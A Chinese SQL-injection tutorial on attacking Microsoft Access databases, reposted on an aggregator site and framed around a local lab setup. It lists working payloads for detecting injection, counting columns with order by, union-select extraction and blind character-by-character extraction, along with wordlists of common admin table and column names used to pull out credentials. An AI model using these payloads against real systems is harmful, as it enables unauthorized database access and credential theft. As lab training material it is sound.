欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > SQL注入--Access注入

SQL注入--Access注入

2025/2/24 12:57:01 来源:https://blog.csdn.net/qq_37107430/article/details/144412896  浏览:    关键词:SQL注入--Access注入

一.基本概念

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Access数据库跟mysql、mssql、Oracle等数据库不一样,它就是一个独立的数据库,并不像mysql这些数据库有自带的数据库(mysql中的information_schema),所以我们在进行注入的时候需要用到不一样的方法。

常见语言和数据库搭配:

  • asp+access
  • php+mysql
  • aspx+mssql
  • jsp+mssql,Oracle
  • python+mangodb,mysql

二.靶场搭建

将压缩包xxf5.0.3.4.zip​解压后,然后将解压后的文件复制到windows7虚拟机进行安装,然后将leichinews.zip​解压,放到wwwroot​目录里,在浏览器访问即可。

三.攻击流程

方法1:联合查询

1.判断注入点

一般来说单引号、减号、and等就可以判断是否存在注入(查看是否返回错误信息)

  • 传入URL:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

  • and语句(相同字符型不同数字型)

    • http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1
    • http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2
  • 减号判断(相同数字型不同字符型)

    • http://127.0.0.1/sqli-labs-master/Less-1/?id=1
    • http://127.0.0.1/sqli-labs-master/Less-1/?id=2-1
2.判断列数
  • 使用order by语句

    • 字符型

      • -1' order by 3%23:正常
      • -1' order by 5%23:不正常
    • 数字型

      • -1 order by 11:正常
      • -1 order by 22:不正常
3.判断回显位置

常见表名

admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,m
anage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,
UserGroups,user_list,login,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo

构造语句:-1 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

  • mysql数据库中union select 后面不需要跟上from+表名​,access数据库中需要给一个表名,但是由于Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

  • 知道存在admin表,并且回显位置在2,3位

  • PS:from+表名,返回正常则说明有该表存在,返回错误则说明没有该表。

4.判断列名

常见列名

username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,
pass-wd,yonghu,id,uid,userid,user_id,adminid,admin_id,login_name

构造语句:-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin


  • 成功得到账号密码,接下来可以登录后台,但是发现利用得到的账号密码无法登录,这是因为得到的password字段是经过了加密,使用“雷驰加密解密”工具解密得到原文为admin


方法2:逐字猜解

1.猜表名

构造语句:-1 and exists (select * from admin) 页面正常说明存在admin表

2.猜列名

构造语句:-1 and exists (select admin from admin) 页面正常,说明存在admin表里存在名为admin的列

3.猜字段内容长度

构造语句:-1 and (select top 1 len(admin) from admin)=5

  • top 1为查询结果只显示首条记录。
  • len为获取长度
4.获取字段内容
  • 获取字段内容第一位:-1 and (select top 1 asc(mid(admin,1,1)) from admin)=97页面正常则说明第一位的ASCII码值为97也就是a

    • mid(列名,起始位置,要返回的字符数)
  • 获取字段内容第二位:-1 and (select top 1 asc(mid(admin,2,1)) from admin)=97

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词